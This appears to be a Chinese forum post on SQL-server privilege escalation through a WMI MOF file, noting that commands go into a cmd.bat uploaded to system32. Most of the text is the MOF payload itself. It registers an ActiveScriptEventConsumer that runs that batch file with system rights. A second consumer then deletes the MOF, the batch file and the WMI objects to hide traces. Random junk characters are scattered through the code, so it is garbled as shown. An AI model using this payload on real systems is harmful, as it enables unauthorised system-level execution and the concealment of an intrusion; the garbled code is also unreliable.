这个sql提权MOF需要运行 system下的文件,不能定义路径。2 K1 W; h+ P u
需要将要运行的命令写入到bat上传到system32目录,然后执行。7 C3 ^- {5 p' }/ v# A3 U* P
- w3 Q5 z0 c5 s9 ~3 x+ O6 ]9 x+ Y这个sql提权MOF需要运行 system下的文件,不能定义路径。- n9 t1 D! M3 Q2 `+ F- P/ k) E& w
需要将要运行的命令写入到bat上传到system32目录,然后执行。; U$ @$ K6 ~8 R) F- M- P% ]* K
) e' W1 D( H% X
#pragma
/ g) V. [2 r6 Y: q namespace("\\\\.\\root\\cimv2")
& d; p2 o0 F- M4 ^4 B/ U! N V class g8 ^3 h# z1 O9 K7 ^0 ]
MyClass547
1 F$ ^" |9 s! m% I2 y { [key]
# }9 b5 L$ v. u. Y string
2 K5 C# d3 f5 C/ V) p5 I% _3 t- @ Name;
- @+ v5 Z W4 C5 p* R: a };6 C) S* g" f I
class
) L6 J& p8 T+ w) r8 R( z ActiveScriptEventConsumer
0 a4 i& j7 A/ O( i( O: D : __EventConsumer { [key]; S2 x+ ]. F6 q1 @1 N' [8 Q7 w
string. f% \% _1 j2 |7 @1 R! m8 P
Name; [not_null]
* ^* @6 l# W) e/ I& V6 x% ~7 Z0 e string
5 g% P+ K/ P0 Y' W ScriptingEngine; string
9 T5 p7 y/ L& ?& }0 C! i- v ScriptFileName; [template]2 ^8 b, M a% {9 V
string. U* t% M% p8 @1 T' e$ |# J( c
ScriptText; uint32 KillTimeout;, j2 T* l M0 [* s: {
}; instance of __Win32Provider as $P {8 v% e/ I% f" [# O+ c+ p2 S; o
Name& T- `3 b) m9 f! t4 g
=
6 ~, Y& q: p& B/ W# [; u+ g2 B) _7 L "ActiveScriptEventConsumer"; CLSID =
9 l: s) U" K2 e8 [& \ "{266c72e7-62e8-11d1-ad89-00c04fd8fdff}";5 y$ s ]7 T2 v& ?
PerUserInitialization
1 O( U2 z/ H' U = TRUE;
0 P' E$ @- W. t* R' L- u# P }; instance of __EventConsumerProviderRegistration { Provider: z6 i$ m8 R& X* q6 u# O0 q4 ]! Y
= $P; ConsumerClassNames% _' |* q D W3 z! b+ L
=/ _1 c' l% P/ k* u* {( ?
{"ActiveScriptEventConsumer"};( x* G$ Q; |( @3 N6 K
};" J4 ~. a& I s! H& ?
Instance of ActiveScriptEventConsumer
0 F% `7 D* D+ D1 ^ p as $cons { Name
8 b8 p* r J- T1 Y6 M0 N0 ~% h' @ =
- c% x p' n$ f0 n+ C( D) w K "ASEC"; ScriptingEngine% ~% z J! C G8 N* Y1 z$ l
=( D* H" O7 y: t: l3 M
"JScript"; ScriptText4 r9 O: ]8 t0 [( i
=
7 F: M' R- `( y& ^. Z) j( w/ H0 e "\ntry {var s = new ActiveXObject(\"Wscript.Shell\");\ns.Run(\"cmd.bat\");} catch (err) {};\nsv = GetObject(\"winmgmts:root\\\\cimv2\");try {sv.Delete(\"MyClass547\");} catch (err) {};try {sv.Delete(\"__EventFilter.Name='instfilt'\");} catch (err) {};try {sv.Delete(\"ActiveScriptEventConsumer.Name='ASEC'\");} catch(err) {};"; };
/ @! }7 M9 Q$ L( l9 m Instance of ActiveScriptEventConsumer* F# J3 z9 X' K9 H5 a; Q7 }
as $cons2 { Name
/ p" j9 M1 O% D1 ?. H, m" L* X =9 Y# }) D5 h1 H; J% w& i1 R. \6 N G) F
"qndASEC"; ScriptingEngine
6 n3 D7 i2 X. a =
' E' W8 c3 A, T8 Z$ N% } "JScript"; ScriptText h9 K9 h1 C; g7 ^! _
=
! V% \/ u9 n3 H, r. N- Z/ O "\nvar objfs = new ActiveXObject(\"Scripting.FileSystemObject\");\ntry {var f1 = objfs.GetFile(\"wbem\\\\mof\\\\good\\\\hBsBa.mof\");\nf1.Delete(true);} catch(err) {};\ntry {\nvar f2 = objfs.GetFile(\"cmd.bat\");\nf2.Delete(true);\nvar s = GetObject(\"winmgmts:root\\\\cimv2\");s.Delete(\"__EventFilter.Name='qndfilt'\");s.Delete(\"ActiveScriptEventConsumer.Name='qndASEC'\");\n} catch(err) {};";. L7 C! l9 J( M, t, w
}; instance of __EventFilter as $Filt { Name, _9 ~! E- I6 i ]: B1 S. u
=
$ i( X1 i2 P, J0 Y, | "instfilt"; Query t! j7 j' x' v6 \) `
=
0 u: a1 `" _8 j6 C9 t) y- D9 V" ` "SELECT * FROM __InstanceCreationEvent WHERE TargetInstance.__class = \"MyClass547\""; QueryLanguage4 s$ p8 v- R B U
=
# D$ K9 i" u; u0 u "WQL"; }; instance of __EventFilter as $Filt2 { Name, J4 v1 N9 W' D; F) J3 x3 u
=2 y: Z: R7 {9 Y
"qndfilt"; Query
1 H0 N& R- ^0 y =
) ~6 b l' A5 X) e) D( ^- T "SELECT * FROM __InstanceDeletionEvent WITHIN 1 WHERE TargetInstance ISA \"Win32_Process\" AND TargetInstance.Name = \"cmd.bat\""; QueryLanguage" S8 a9 u) [& A# B1 p+ K$ B9 F
=
H: y$ ~7 B5 L "WQL"; }; instance of __FilterToConsumerBinding as $bind { Consumer
7 K- P) `: t! t* S( h, c: e = $cons; Filter2 k3 p6 [: v! K) ^7 u E, H
= $Filt;0 H0 f1 V0 t. j. H+ b9 I
}; instance of __FilterToConsumerBinding as $bind2 { Consumer' G9 W0 ?6 o4 ]6 p" J6 C' H
= $cons2; Filter
j* Y3 a' ^$ j& R9 A = $Filt2;
3 d0 h3 k- q9 F) ~ }; instance of MyClass547& @$ K) u" f" N
as $MyClass { Name
" x7 _7 G7 `) d! m" ~& O =/ p! `0 @0 P6 Z/ Z' e' Y4 Q1 D [
"ClassConsumer";$ K: q+ Z8 Y) ?: _
}; |